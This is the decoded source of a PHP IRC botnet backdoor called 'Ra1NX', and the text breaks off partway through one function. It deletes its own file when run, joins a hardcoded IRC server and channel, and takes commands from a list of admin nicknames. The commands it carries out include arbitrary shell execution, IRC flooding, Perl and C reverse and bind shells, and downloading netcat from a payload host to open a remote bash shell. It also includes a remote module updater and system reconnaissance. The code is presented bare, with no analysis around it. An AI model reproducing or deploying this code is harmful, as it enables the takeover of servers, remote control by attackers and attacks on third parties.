PHP Decode

unlink($_SERVER['SCRIPT_FILENAME']);
$servers    = "106.187.97.158";
$ports        = "7000";
$admins        = "ArRay,lobe,akatsuchi,JFry_,K4pT3N,samu1241,bejamz,pokeng,N4ck0,Gameover,antitos,bjork,skygers,yuki,vba,^SkyWalker^";
$channels    = "#lobex";
$realnames     = "XCrew";
$nicknames     = "xcrew,xray,main,n3bul4,spl1tf1r3,xterminal,x-man,bajahitam,powerranger,frodo,sauron,InNuyasha,Spider-Man,BatMan,SuperMan,huLk,Slash,Rock-Lee,Naruto,Sazuke,Sakura,Hinata,Jiraiya,Hiruka,Kakashi,Obito,Hokage,Tsunade,Madara,Akatsuki,Pain,Kakuzu,Nagato,Conan,Zetzu,Deidara,Garaa,Kazekage,Mitzukage,Tsuchikage,Raikage,Killer-Bee,Nindaeme,Sadaeme,Kiba,Neiji,Kekkaishi";
$gudangsenjata = "http://array.byroe.net/Ra1NX";

#create daemon  process
$process = "
    /usr/sbin/httpd,
    /sbin/klog,
    /usr/bin/mysql,
    /sbin/syslogd,
    /sbin/syslogd,
    /sbin/klogd -c 1 -x -x,
    /usr/sbin/acpid,
    /usr/sbin/cron
";

$ident         = random($nickames);
$nick         = random($nicknames);
$realname     = random($realnames);
$server     = random($servers);
$port         = random($ports);
$daemon     = random($process);
$linas_max    = 2;
$sleep        = 3;
$maxtryconn    = 5;
$maxnumber    = 6;
$nick = "tezzz";
$daemon = "/usr/tes";
$version = "Ra1NX v2.0 Explorer ~ by ArRay a.k.a XterM. for UnReal ByroeNet. Pre Release build 2010-02-22 10:32am ";
define(_,"2-*=**!");

chdir("/");
$shellfunc     = shellfunc();
$winnt         = winnt();
$downloader    = downloader();
$portserv    = portserv();

########### ENTER COMMAND / COMMAND SENDER #######
function SEND($data) {
    global $SOCKET;
    fwrite($SOCKET,$data."
"); 
}

################### MAIN CONNECTION #####################
function connection(){
    global $maxtryconn,$idents,$nicknames,$realnames,$servers,$ports;    
    $try=1;
    $SOCKET = false;
    while(!$SOCKET && ($try <= $maxtryconn)){        
        $server = random($servers);
        $port     = random($ports);
        $SOCKET = fsockopen($server,$port,$err_num,$err_msg,30);
        $GLOBALS['SOCKET']=$SOCKET;
        $try++;    
        sleep(1);
    }
    if(!$SOCKET) die("Cannot connect to remote host");
    if ($SOCKET){
        $GLOBALS['ident']     = $ident    = random($nicknames);
        $GLOBALS['nick']     = $nick     = random($nicknames);
        $GLOBALS['realname']= $realname    = random($realnames);    
        SEND("USER XRay 127.0.0.1 localhost : -==Ra1NX Projection==-");
        NICK($nick);
        print "Connected to ".$server.":".$port." ".$nick." (XRay@".gethostbyname($_SERVER["HTTP_HOST"]).") Ra1NX Projection
";
        flush();sleep(1);    
    }
}

do{
    ##### connect to server ######
    if(!$SOCKET){connection();}
    
    ######## connected! get sock output #########
    $text = fgets($SOCKET,1024);
    $text = str_replace("
","",$text);
    $text = str_replace("
","",$text);
    $text = $text." ";
    parser($text);
    $text = false;
    $lines = false;
}while(1);

### GLOBAL FUNCTIONS

function parser($line){
    global $nick,$maxnumber,$channels,$SOCKET,$version,$admins;
    $called = $sline = $iduser = $huser = $user = $useriD = $userHost = $typeMsg = $dropMsg = $adm =  $cmd = $arg = false;
    
    $sline        = $line;
    $line         = explode(" ",$line);    
    $iduser     = explode("@",$line[0]);
    $huser         = explode("!",$iduser[0]);
    $user         = substr($huser[0],1,strlen($huser[0]));
    $userId        = $huser[1];
    $userHost     = $iduser[1];
    $typeMsg     = $line[1];    
    $dropMsg     = ($line[2]==$nick)?$user:$line[2];
    $called        = (substr($line[3],1,strlen($line[3]))=="!cmd")?true:((substr($line[3],1,strlen($line[3]))==$nick)?true:false);
    $pubcalled        = (substr($line[3],1,strlen($line[3]))=="!bot")?true:false;
    $cmd        = (substr($line[4],0,1)=="@")?substr($line[4],1,strlen($line[4])):'shell';
    $pubcmd     = (substr($line[4],0,1)=="@")?substr($line[4],1,strlen($line[4])):false;
    if($line[5]){
        for($i=5;$i<count($line);$i++){
            $arg   .= $line[$i].(($i<(count($line)-1))?" ":"");
        }
    }
    $GLOBALS['dropMsg'] = $dropMsg;
    $GLOBALS['arg']        = $arg;
    $GLOBALS['user']    = $user;
    
    if(substr($sline,0,6)=="PING :") SEND("PONG :".substr($sline,6));
    if(eregi("VERSION",$line[3])) SEND("PRIVMSG ".$user." VERSION reply: ".$version."");
    
    if($typeMsg!="PRIVMSG"){
        switch($typeMsg){
            case "433": nick($nick.rand(0,$maxnumber)); break;
            case "001":    
                SEND("PRIVMSG byroehost login Ra1NX sembarangwes");
                sleep(1);
                foreach (beArray($channels) as $key => $chan) {
                    SEND("JOIN $chan correct");
                }
            break;
        }
    }
    
    if(substr($line[3],1,strlen($line[3]))==$nick){ $called = true; }
    if($called){
        if($cmd=="shell") { $arg = $line[4]." ".$arg; }
        $cmd = ($cmd=="join")?"joins":$cmd;
        if ($typeMsg=="PRIVMSG" && admin($user) && $called && $cmd) {
            if(function_exists($cmd)){
                $sender = "PRIVMSG ".$dropMsg." "._;
                $GLOBALS['sender'] = $sender;
                $arg = str_replace("
","",$arg);
                $arg = str_replace("
","",$arg);
                $cmd($arg);
            }
        }
    }
    if(substr($line[3],1,strlen($line[3]))==$nick){ $pubcalled = true; }
    if($pubcalled){
        if ($typeMsg=="PRIVMSG" && $user && $pubcalled && $pubcmd) {
            if(function_exists($pubcmd)){
                $sender = "PRIVMSG ".$dropMsg." "._;
                $GLOBALS['sender'] = $sender;
                $arg = str_replace("
","",$arg);
                $arg = str_replace("
","",$arg);
                $pubcmd($arg);
            }
        }
    }
}

####[ Ra1NX Authentication ]####
function admin($user){
    global $admins, $SOCKET;
    $userinfo = false;
	if(!in_array($user,beArray($admins))) return false;
/*    $userinfo = whois($user,1);
    if(!eregi($user." is a registered nick",$userinfo)) return false; */
    return true;
}


#####[ Ra1NX IRC Commands ]#####

function nick($newnick) {
    global $nick, $dropMsg;
    $newnick = str_replace("
","",$newnick);
    $newnick = str_replace("
","",$newnick);
    if(!$newnick){return;}
    SEND("NICK ".$newnick);
    $GLOBALS['nick']=$newnick;    
}

function PRIVMSG($msg){
    $dropMsg;
    SEND("PRIVMSG ".$dropMsg." ".$msg);
}

function joins($arg){
    $chan = explode(" ",$arg);
    for($i=1;$i<count($chan);$i++){
        $msg .= $chan[$i]." ";
    }
    SEND("JOIN #".str_replace("#","",$chan[0]));
    SEND("PRIVMSG #".str_replace("#","",$chan[0])." ".$msg);
}

function part($arg){
    $part = explode(" ",$arg);
    $chan = $part[0];
    for($i=1;$i<count($part);$i++){
        $msg .= $part[$i].(($i<(count($part)-1))?" ":"");
    }
    SEND("PART #".str_replace("#","",$chan)." ".$msg);
}

function msg($args){
    $arg = explode(" ",$args);
    $obyek = $arg[0];
    for($i=1;$i<count($arg);$i++){
        $msg .= $arg[$i]." ";
    }
    SEND("PRIVMSG ".$obyek." ".$msg);
}

function off($arg=''){
    if($arg==" ") $arg=false;
    $arg = (!$arg)?"15,1 The only thing that appears in my head Just to 4S8.4U8.4I8.4C8.4I8.4D8.4E15 away ":$arg;
    SEND("QUIT :".$arg);
}

function ison($arg){
    global $dropMsg,$SOCKET,$nick;
    SEND("ISON ".$arg);
    while(!$complete){
        $useron = fgets($SOCKET,128);
        $complete = (eregi("303 ".$nick." :",$useron))?1:0;
    }
    $ison = (eregi("303 ".$nick." :".$arg,$useron))?1:0;
    return $ison;
}

function mode_n($chan){
    SEND("PRIVMSG ".$chan." ");
    $mode = fgets($SOCKET,2500);
    return (eregi($chan." No external channel messages",$mode))?1:0;
}

function whois($arg,$getvar=0){
    global $dropMsg,$SOCKET,$nick;
    $whois = false;
    $arg = str_replace(" ","",$arg);
    SEND("WHOIS ".$arg);
    while(!$complete){
        $userinfo = trim(fgets($SOCKET,512));
        if(eregi(" ".$nick." ".$arg,$userinfo)){
            $info = explode($nick." ",$userinfo);
            $whois = str_replace(":","",$info[1]);
            if(eregi(" 311 ".$nick." ".$arg,$userinfo)){
                $host = explode(" ",$whois);
                $whois = str_replace($host[1]." ",$host[1]."@",$whois);
            }
            if(eregi(" 319 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." on",$whois); 
            if(eregi(" 312 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." using",$whois);
            if(eregi(" 301 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." is away:",$whois);
            if(eregi(" 318 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg." ","",$whois);
            if(!$getvar) SEND("PRIVMSG ".$dropMsg."  14".$whois."");
        }        
        if(eregi(" 318 ".$nick." ".$arg,$userinfo)) $complete = true;
    }
    if($getvar){ return $whois; }
    return;
}

function cycle($arg){
    part($arg);
    joins($arg);
}

function find($arg){
    global $SOCK,$dropMsg,$user;
    $arg = str_replace(" ","",$arg);
    if(!ison($arg)){SEND("PRIVMSG ".$dropMsg." "._."7".$arg." is not online now.");return;}
    SEND("NOTICE ".$arg." Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg);
    SEND("PRIVMSG ".$arg." Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg);
    SEND("PRIVMSG ".$arg." Finder Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg."");
}


####[ Ra1NX IRC Flooder ]####
function tsunami($args){
    global $dropMsg;
    $flood = ":";
    $ctcpflood = ":";
    $arg = explode(" ",$args);
    $sasaran = $arg[0];
    SEND("PRIVMSG ".$dropMsg." "._."7Tsunami Flood: 4".$sasaran."");
    if(substr($sasaran,0,1)=="#" && mode_n($sasaran))SEND("JOIN ".$sasaran);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);    
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    if(substr($sasaran,0,1)=="#") SEND("PART ".$sasaran." mission completed!");
    SEND("PRIVMSG ".$dropMsg." "._."7Tsunami Flood: 4".$sasaran."7 is done!");
}

function ctcpflood($args){
    global $dropMsg;
    $maxflood = 10;
    $ctcpflood = ":";
    $arg = explode(" ",$args);
    $sasaran = $arg[0];
    if(substr($sasaran,0,1)=="#" && mode_n($sasaran)) SEND("JOIN ".$sasaran);
    SEND("PRIVMSG ".$dropMsg." "._."7CTCP Flood: 4".$sasaran."7 until deadth !!");
    $ison = (substr($sasaran,0,1)=="#")?1:ison($sasaran);
    while($ison && $maxflood){
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        $maxflood--;
        $ison = (substr($sasaran,0,1)=="#")?1:ison($sasaran);
    }
    $pesan = ($maxflood)?"7CTCP Flood done. 4".$sasaran."12 is deadth !!":_."7CTCP FLood done. 4".$sasaran."4 still alive !!";
    SEND("PRIVMSG ".$dropMsg." ".$pesan);
    if(substr($sasaran,0,1)=="#") SEND("PART ".$sasaran);
}


###[ Ra1NX Shell ]###
function shell($arg){
    global $shellfunc, $winnt, $dropMsg;
    $msg = false;
    //SEND("PRIVMSG #xterm drop:".$dropMsg." shell:".$shellfunc." arg:".$arg);
    if(!$shellfunc) {
        SEND("PRIVMSG ".$dropMsg." Shell Execution are Disable!");
        return;
    }
    if($winnt){
        PRIVMSG($shellfunc($arg));
        return;
    }    
    if($shellfunc=="popen"){
        $popen = $shellfunc($cmd.' 2>&1', 'r');
        if ( is_resource($open) ) {
          while ( !feof($open) ) { PRIVMSG($fread($h, 2096));  }
          pclose($open);
        }
        return;
    }
    $shellc = "$arg >/tmp/Ra1NX 2>&1;";
    $shellfunc($shellc);
    $handle = fopen("/tmp/Ra1NX","r");    
    while(!feof($handle)){
        $msg = strip_tags(trim(fgets($handle,2096)));
        SEND("PRIVMSG ".$dropMsg." ".$msg);sleep(1);
    }
    $shellfunc("rm -f /tmp/Ra1NX");    
}

####[ Ra1NX Self Info ]####
function myself($arg){
    global $SOCKET,$sender,$shellfunc;
    SEND($sender."7OS: 10[".((safemode())?"3OFF":"4ON")."10] ".getinfo("uname")." - ".getinfo("cat /etc/issue"));
    SEND($sender."7WebServer: 10".getenv("SERVER_SOFTWARE"));
    SEND($sender."7Uname -a: 10".getinfo("uname -a"));
    SEND($sender."7Current User: 10".getinfo("id"));
    SEND($sender."7Freespace: 10".freespace());
    $theapp = " 10MySQL ".((havebin("mysql"))?"3ON":"4OFF");
    $theapp.= " 10Curl ".((havebin("curl"))?"3ON":"4OFF");
    $theapp.= " 10Fetch ".((havebin("fetch"))?"3ON":"4OFF");
    $theapp.= " 10WGet ".((havebin("wget"))?"3ON":"4OFF");
    $theapp.= " 10LWP-Download ".((havebin("lwp-download"))?"3ON":"4OFF");
    SEND($sender."7Application:".$theapp);
    $disfunc = getdisfunc();
    if($disfunc){
        foreach($disfunc as $key => $val){ $df .= $val.", "; }
    }
    SEND($sender."7Disabled Function: ".(($disfunc)?"4".$df:"3NONE"));
}

####[ Ra1NX Web Shell ]####
function myshell($arg){
    global $SOCKET,$sender,$shellfunc;
    
}

function safemode(){
    if(@ini_get("safe_mode")) return false;
    if(eregi("on",@ini_get("safe_mode"))) return false;
    return true; // safemode is OFF
}

function getdisfunc(){
    $disfunc = @ini_get("disable_functions");    
    $disfunc = str_replace(" ","",$disfunc);
    $disfunc = explode(",",$disfunc);    
    return $disfunc;
}
function enabledfunc($func){
    if(function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())) return true;
    return false;
}

function shellfunc(){
    if(enabledfunc("system")) return "system";
    if(enabledfunc("passthru")) return "passthru";
    if(enabledfunc("exec")) return "exec";
    if(enabledfunc("shell_exec")) return "shell_exec";
    if(enabledfunc("popen")) return "popen";
    return false;
}

function winnt(){
    return (strtolower(substr(PHP_OS,0,3)) == "win")?true:false;
}

function havebin($bin){
    global $shellfunc,$SOCKET,$sender;
    $shellfunc("which ".$bin." >/tmp/Ra1NX.bin 2>&1");
    $have = fgets(fopen("/tmp/Ra1NX.bin","r"),128);
    if(!$have)return false;
    $shellfunc($bin." --help >/tmp/Ra1NX.bin 2>&1");
    $open = fopen("/tmp/Ra1NX.bin","r");
    $x=0;
    while(!feof($open)){
        $x++;
        if($x==5){ break; }
    }
    fclose($open);
    return ($x==5)?true:false;
}

function getinfo($arg,$row=1){
    global $shellfunc;
    $shellfunc($arg." >/tmp/Ra1NX.info 2>&1");
    $open = fopen("/tmp/Ra1NX.info","r");
    while(!feof($open)){
        $row--;
        $info .= trim(fgets($open,3024));
        if(!$row){ break; }
    }
    return $info;
}

function freespace(){
    $free = disk_free_space("/");
    $total = disk_total_space("/");
    if ($free <= 0) { $free = 0; }
    if ($total <= 0) { $total = 0; }
    return byte($free)." of ".byte($total)." ".round(100/($total/$free),2)."%";
}

function byte($size){
    if (!is_numeric($size)){ return false; }
    else {
        if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
        elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
        elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
        else {$size = $size . " B";}
        return $size;
    }
}

####[ Ra1NX Back Connect ]####
function backconnect($arg){
    global $SOCKET,$sender,$shellfunc,$downloader;
    $args = explode(" ",$arg);
    if(havebin("perl") || $args[2]=="perl"){    
        $perlbc = ' use IO::Socket::INET;
        my $ctype = getprotobyname("tcp");
        my $iaddr = inet_aton("'.$args[0].'");
        my $paddr = sockaddr_in("'.$args[1].'", $iaddr);
        my $shell = "/bin/sh -i";
        if ($^O eq "MSWin32") {
          $shell = "cmd.exe";
        }
        socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
        connect(SOCKET, $paddr);
        open(STDIN, ">&SOCKET");
        open(STDOUT, ">&SOCKET");
        open(STDERR, ">&SOCKET");
        system("$shell");
        close(STDIN);
        close(STDOUT);
        close(STDERR);
        ';
        $create = fopen("/tmp/Ra1NX.Backconnect.pl","a");
        fwrite($create,$perlbc);
        fclose($create);
        $shellfunc("perl /tmp/Ra1NX.Backconnect.pl &");
        $shellfunc("rm -f /tmp/Ra1NX.Backconnect.pl");
        return;
    }    
    if(havebin("gcc") || $args[2]=="c"){
        $cbc = '#include <stdio.h>
        #include <sys/socket.h>
        #include <netinet/in.h>
        int main(int argc, char *argv[])
        {
         int fd;
         struct sockaddr_in sin;
         char rms[21]="rm -f "; 
         daemon(1,0);
         sin.sin_family = AF_INET;
         sin.sin_port = htons(atoi(argv[2]));
         sin.sin_addr.s_addr = inet_addr(argv[1]); 
         bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
         fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
         if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
           perror("[-] connect()");
           exit(0);
         }
         strcat(rms, argv[0]);
         system(rms);  
         dup2(fd, 0);
         dup2(fd, 1);
         dup2(fd, 2);
         execl("/bin/sh","sh -i", NULL);
         close(fd); 
        }';
        $create = fopen("/tmp/Ra1NX.Backconnect.c","a");
        fwrite($create,$cbc);
        fclose($create);
        $shellfunc("echo >> /tmp/Ra1NX.Backconnect.c");
        $shellfunc("gcc -o /tmp/Ra1NX.Backconnect /tmp/Ra1NX.Backconnect.c &");
        $shellfunc("rm -f /tmp/Ra1NX.Backconnect.c");
        $shellfunc("chmod o+x /tmp/Ra1NX.Backconnect");
        $shellfunc("/tmp/Ra1NX.Backconnect ".$args[0]." ".$args[1]." &");
        return;
    }
    //ntar pake php disini
    if($downloader){
        $args[2] = "nc";
        if($args[2]=="nc"){
            $shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
            $dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
            $shellfunc("cd /tmp");
            $shellfunc($downloader." ".$gudangsenjata."/nc");
            $shellfunc("chmod +x /tmp/nc");
            $shellfunc("/tmp/nc -vv ".$args[0]." ".$args[1]." -e /bin/bash &");
            $shellfunc("rm -f /tmp/nc");
            chdir($dirnow);
            return;
        }    
    }
    return;
}

####[ Ra1NX BindShell ]####
function bindshell($arg){
    global $SOCKET,$sender,$downloader;
    $args = explode(" ",$arg);
    if(havebin("perl") || $args[1]=="perl"){
        $bindshell='#!/usr/bin/perl
        $SHELL="/bin/bash -i";
        $LISTEN_PORT='.$args[0].';
        use Socket;
        $protocol=getprotobyname("tcp");
        socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket
";
        setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
        bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port
";
        listen(S,3) || die "Cant listen port
";
        while(1)
        {
            accept(CONN,S);
            if(!($pid=fork))
            {
                die "Cannot fork" if (!defined $pid);
                open STDIN,"<&CONN";
                open STDOUT,">&CONN";
                open STDERR,">&CONN";
                exec $SHELL || die print CONN "Cant execute $SHELL
";
                close CONN;
                exit 0;
            }
        }';
        $create = fopen("/tmp/Ra1NX.Bindshell.pl","a");
        fwrite($create,$bindshell);
        fclose($create);
        $shellfunc("perl /tmp/Ra1NX.Bindshell.pl &");
        return;
    }
    $args[1]=="php";
    //bikin pake php
    $args[1]=="nc";
    if($args[1]=="nc"){
        if(!$downloader){ SEND($sender."10Cannot download nc file!"); return;}
        $shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
        $dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
        $shellfunc("cd /tmp");
        $shellfunc($downloader." ".$gudangsenjata."nc 2>&1");
        $shellfunc("chmod +x /tmp/nc 2&>1");
        $shellfunc("/tmp/nc -vlp ".$args[0]." -e /bin/bash 2>&1");
        chdir($dirnow);
        return;
    }
    
}


###[ Ra1NX Downloader ]###
function download($url){
    global $downloader,$shellfunc,$SOCKET,$dropMsg;
    if(!$downloader){
        SEND("PRIVMSG ".$dropMsg." Downloader are disabled. Try manual download using shell function!"); 
        return;
    }
    if(!eregi("^(http://).+$",$url)){
        SEND("PRIVMSG ".$dropMsg." "._."4Error!! Source must be an absolute url.");
        return;
    }
    $geturl = explode(" ",$url);
    $url = str_replace(" ","",$geturl[0]);
    $file = explode("/",$url);
    $filename = $file[count($file)-1];
    SEND("PRIVMSG ".$dropMsg." "._."7Download: ".$url);
    $shellfunc($downloader.' '.$url.' >/tmp/Ra1NX-Downloader 2>&1;');
    $shellfunc("ls -la ".$filename." >/tmp/Ra1NX");
    $handle = fopen("/tmp/Ra1NX","r");
    $saved = trim(fgets($handle,512));
    fclose($handle);
    if(!empty($saved)){ SEND("PRIVMSG ".$dropMsg." "._."7File saved: ".$filename);}
    else{ SEND("PRIVMSG ".$dropMsg." "._."4Error!! Can not download file. Try manual download.");}
    $shellfunc("rm -f /tmp/Ra1NX");    
    $shellfunc('rm -f /tmp/Ra1NX-Downloader');
}

function downloader(){
    global $shellfunc;
    if(!$shellfunc) return;
    $downloader = array("wget","curl -O","lwp-download","lynx -source","fetch","GET");
    for($i=0;$i<count($downloader);$i++){
        $cmd = $downloader[$i].' http://google.com';
        if($shellfunc=="popen"){
            $popen = $shellfunc($cmd.' 2>&1', 'r');
            if(is_resource($open)) return; $downloader[$i];
        }    
        $shellfunc($cmd." >/tmp/Ra1NX 2>&1;");
        $handle = fopen("/tmp/Ra1NX","r");    
        if(!feof($handle)){
            $msg = strip_tags(trim(fgets($handle,2096)));
            if($msg) {
                return $downloader[$i];
                $shellfunc('rm -f /tmp/Ra1NX');
            }
        }
        $shellfunc('rm -f /tmp/Ra1NX');
    }
    return false;
}


####[ Ra1NX Updater - PENDING ]####
function update($mod=''){
    global $gudangsenjata,$dropMsg,$SOCKET;
    $mod = str_replace(" ","",$mod);
    $mod = (!$mod)?"all":$mod;
    $mod = ($mod=="list")?"all":$mod;
    SEND("PRIVMSG ".$dropMsg." "._."7Updating Module".(($mod!="all")?": ".$mod:""));
    if($mod=="all") SEND("PRIVMSG ".$dropMsg." "._."7Getting new module list...");
    $list = httpquery($gudangsenjata."/updatelist.php");
    
    $update = explode("
",$list);
    /*foreach($update as $key => $themod){
        SEND("PRIVMSG ".$dropMsg." key: ".$key." => modul: ".$themod);
    }*/
    if($mod != "all"){
        if(!in_array("Ra1NX-".$mod.".mod",$update)) {
            SEND("PRIVMSG ".$dropMsg." "._."4Error!! Modul not found: ".$mod);
            return;
        }
    }
    if($mod == "all"){
        foreach($update as $key => $modul){
            if(eregi("^(Ra1NX-).+\.(mod)$",$modul)){
                $funcname = str_replace("Ra1NX-","",$modul);
                $funcname = str_replace(".mod","",$funcname);
                if(!function_exists($funcname)){
                    $newupdate = httpquery($gudangsenjata."/updates/".$modul);
                    SEND("PRIVMSG ".$dropMsg." modul: ".$modul." -> funcname: ".$funcname);
                    //eval(base64_decode($newupdate));
                    $newfunc[] = $funcname;
                }
            }
        }
    }
    else{
        $newupdate = getupdate("Ra1NX-".$mod.".mod");
        SEND("PRIVMSG ".$dropMsg." func: ".$newupdate);
        //eval(base64_decode($newupdate));
        $newfunc[] = $mod;
    }
    for($i=0;$i<count($newfunc);$i++){
        $newmod .= $newfunc[$i].(($i<(count($newfunc)-1))?", ":"");
    }
    SEND("PRIVMSG ".$dropMsg." "._."7New module installed: ".$newmod);
    SEND("PRIVMSG ".$dropMsg." "._."7Updating modules is Done!");
    $newupdate     = false;
    $update        = false;
    $mod        = false;
    $newmod        = false;
    $newfunc    = false;
    $funcname    = false;
}

function getupdate($mod){
    global $gudangsenjata,$dropMsg,$SOCKET;
    $get = httpquery($gudangsenjata."/updates/".$mod);    
    $update = explode("
",$get);    
    $sheader=array_search(base64_decode("UmExTlggUHJvamVjdCBieSBBclJheSBhLmsuYSBYdGVyTSB+IEhOIFVuZGVyR3JvdW5kIENvZGVy"),$update);
    for($i=$sheader;$i<($sheader+6);$i++){
        $header .= md5($update[$i]);
    }
    $nmod = str_replace("Ra1NX-","",$mod); $nmod = str_replace(".mod","",$nmod);
    if(md5(base64_decode(sha1(md5($header))))!="356e3ade98bf979f85028ef29216dab8")return false;
    SEND("PRIVMSG ".$dropMsg." header1:".md5(base64_decode(sha1(md5($header)))));
    if(substr($update[($sheader+6)],12,strlen($update[($sheader+6)]))!=$nmod)return false;
    SEND("PRIVMSG ".$dropMsg." header2:".substr($update[($sheader+6)],12,strlen($update[($sheader+6)])));
    SEND("PRIVMSG ".$dropMsg." header3:".base64_decode(md5($update[($sheader+8)])));
    #if(base64_decode(md5($update[($sheader+8)]))!="w]}4om8{4|yn")return false;
    SEND("PRIVMSG ".$dropMsg." header3:".base64_decode(md5($update[($sheader+8)])));
    if($update[($sheader+9)]!=$mod)return false;
    SEND("PRIVMSG ".$dropMsg." header4:".$update[($sheader+9)]);
    $cek = explode("(",base64_decode($update[($sheader+10)]));    
    if(substr($cek[0],9,strlen($cek[0]))!=$nmod)return false;
    SEND("PRIVMSG ".$dropMsg." header5:".substr($cek[0],9,strlen($cek[0])));
    if(base64_decode(md5($update[($sheader+11)]))!="w]}4om8{4|yn")return false;
    SEND("PRIVMSG ".$dropMsg." header6:".base64_decode(md5($update[($sheader+11)])));
    if(count($update)>($sheader+11))return false;
    SEND("PRIVMSG ".$dropMsg." header7:".count($update));
    return $update[($sheader+10)];
}


####[ Ra1NX HTTP Query ]###
function httpquery($url){
    global $SOCKET,$dropMsg;
    $url = str_replace("http://","",$url);
    $host = explode("/",$url);
    if(preg_match("/:/",$host[0])){
        $gport = explode(":",$host[0]);
    }
    //SEND("PRIVMSG ".$dropMsg." browsing: ".$url);
    $port = ($gport[1])?$gport[1]:80;
    for($i=1;$i<count($host);$i++){
        $path .= "/".$host[$i];
    }
    $sock = fsockopen($host[0],$port,$errno,$errstr,30);
    if ($sock) {
        $get  = "GET ".$path." HTTP/1.0
".
                "Host: ".$host[0]."
".
                "Accept: */*;q=0.1
".
                "User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
".
                "Connection: Close

";
        fputs($sock,$get);
        while (!feof($sock)) { 
            $output .= trim(fgets($sock, 3600))."
";            
        }
        fclose($sock);
    }
    return $output;
}


####[ Ra1NX IP Reverse ]####
function reverse($arg){
    global $SOCKET,$dropMsg,$sender;
    $arg = str_replace("http://","",$arg);
    $arg = explode(" ",$arg,1);
    $host = "http://www.ip-adress.com/reverse_ip/".$arg[0];
    SEND($sender."7Reversing host: 10".$arg[0]);
    $browsing = explode("
",httpquery($host));
    $c = 1;
    foreach($browsing as $i => $v){
        if(eregi('id="hostcount"',$v)){
            SEND($sender."7Host Found: 10".strip_tags($v));
        }
        if(eregi('class="odd"',$v) || eregi('class="even"',$v)){
            $key = $i+3;
            SEND($sender."7".$c.". 10".strip_tags($browsing[$key]));
            $c++;
        }
		if(eregi('This IP address resolves to ',$v)){
			$v = strip_tags($v);
			$v = str_replace("[Whois]","",$v);
			SEND($sender."710".$v);
		}
    }
    SEND($sender."7Reversing Done!");
}

####[ Ra1NX IP Whois ]####
function ipwhois($arg){
    global $SOCKET,$dropMsg,$sender;
    $browsing = $i = $v = false;
    $arg = str_replace("http://","",$arg);
    $arg = explode(" ",$arg,1);
    $host = "http://www.ip-adress.com/whois/".$arg[0];
    SEND($sender."7Whois IP: 10".$arg[0]);
    $browsing = explode("
",httpquery($host));
    foreach($browsing as $i => $v){
        if(eregi(" IP:",$v))SEND($sender."7IP Address: 10".strip_tags($browsing[($i+1)]));        
        if(eregi(" server location:",$v))SEND($sender."7Location: 10".strip_tags($browsing[($i+1)]));
        if(eregi(" ISP:",$v)){ 
            SEND($sender."7ISP: 10".strip_tags($browsing[($i+1)]));
            break;
        }
    }
}

####[ Ra1NX IP Tracer ]####
function iptrace($arg){
    global $SOCKET,$dropMsg,$sender;
    $browsing = $i = $v = false;
    $arg = str_replace("http://","",$arg);
    $arg = explode(" ",$arg,1);
    $host = "http://www.ip-adress.com/ip_tracer/".$arg[0];
    SEND($sender."7Tracing IP: 10".$arg[0]);
    $browsing = explode("
",httpquery($host));
    foreach($browsing as $i => $v){
        if(eregi("My IP address ",$v))SEND($sender."7IP Address: 10".strip_tags($browsing[($i+3)]));
        if(eregi("code:",$v))SEND($sender."7Country: 10".str_replace("    ","",strip_tags($browsing[($i+8)]))." (".str_replace("    ","",strip_tags($browsing[($i+2)])).")");
        if(eregi("state:",$v))SEND($sender."7State: 10".strip_tags($browsing[($i+2)]));
        if(eregi("city:",$v))SEND($sender."7City: 10".strip_tags($browsing[($i+2)]));
        if(eregi("latitude:",$v)){
